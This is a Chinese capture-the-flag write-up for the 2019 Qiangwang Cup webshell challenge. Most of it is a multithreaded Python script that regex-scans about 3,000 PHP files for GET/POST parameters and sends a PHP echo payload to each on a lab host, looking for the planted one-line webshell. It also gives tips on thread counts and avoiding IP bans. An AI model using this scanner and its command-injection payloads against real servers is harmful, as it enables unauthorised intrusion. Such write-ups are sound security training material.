[强网杯 2019]高明的黑客

下载完源码,本想好好审计,看到数目后我的内心

hj)md)dd

image-20200408170606170

这么多的文件其实就是根据一句话木🐎的原理,在大批量的文件中找到你最中意的那个PHP预定义变量_POST.

此题两种解法,

挨个审计3002个文件,挨个传参,运气好第一次就有了.

??????????????????????????????????????????????????(小朋友的问号)

嗯……大概看完这3002个文件,代码审计就不是啥难事了。jg

编程序然后喝雪碧等结果

学用了keelongz大佬的正则:

get:\$_GET\[\'(\w+)\'\]

post:\$_POST\[\'(\w+)\'\]

keelongz 大佬博客连接: https://www.cnblogs.com/keelongz/p/12643812.html

脚本解释

写了好久,python多线程看了一个小时,喝雪碧?做梦呢~chayao

flag.txt存对应的php和参数信息

我把post的注释了,因为在get里有那个回显,文件太多了。

再测试第二次的时候,ip都给我ban了。

最大线程数记得尽量调的合适点,如果没有输出结果多半是被ban了ip,可以在自己本地测试。

import requests
import os
import re
import threading
import time

requests.adapters.DEFAULT_RETRIES = 8 #设置重连次数,防止线程数过高,断开连接
session = requests.Session()
session.keep_alive = False # 设置连接活跃状态为False

sem=threading.Semaphore(30) # 设置最大线程数 ,别设置太大,不然还是会崩的挺厉害的,跑到关键的爆炸,心态就爆炸了

url = "http://7cfcd16d-dd76-4421-8906-b9c234c18daf.node3.buuoj.cn/"

# 下载的源文件路径,根据自己的路径修改
path = r"C:\Users\lenovo\Desktop\www\\"


rrGET = re.compile(r"\$_GET\[\'(\w+)\'\]") #匹配get参数

rrPOST = re.compile(r"\$_POST\[\'(\w+)\'\]") #匹配post参数

fileNames = os.listdir(path) # 列出目录中的文件,以每个文件都开一个线程


local_file = open("flag.txt","w",encoding="utf-8")

def run(fileName):
    with sem:
        file = open( path + fileName, 'r',encoding='utf-8' )
        content = file.read()
        print("[+]checking:%s" % fileName )
        #测试get的参数
        for i in rrGET.findall(content):
            r = session.get( url + "%s?%s=%s" % (fileName,i,"echo ~h3zh1~;") )
            if "~h3zh1~" in r.text:
                flag = "You Find it in GET fileName = %s and param = %s \n" % ( fileName, i )
                print(flag)
                local_file.write(flag)
        #测试post的参数
        #for i in rrPOST.findall(content):
        #    r = session.post( url + fileName , data = { i : "echo ~h3zh1~;" } )
        #    if "~h3zh1~" in r.text:
        #        flag = "You Find it in POST: fileName = %s and param = %s \n" % ( fileName, i )
        #        print(flag)
        #        local_file.writelines(flag)
if __name__ == '__main__':
    start_time = time.time() # 开始时间
    print("[start]程序开始:"+str(start_time))
    thread_list = []
    for fileName in fileNames:
        t = threading.Thread( target=run , args=(fileName,) )
        thread_list.append(t)
    for t in thread_list:
        t.start()
    for t in thread_list:
        t.join()

    end_time = time.time()
    local_file.close()
    print("[end]程序结束:用时(秒):"+str(end_time-start_time))

运行截图参考:

下图的我把别的文件都删了,就留了有问题的文件

image-20200408184948879

image-20200408184240750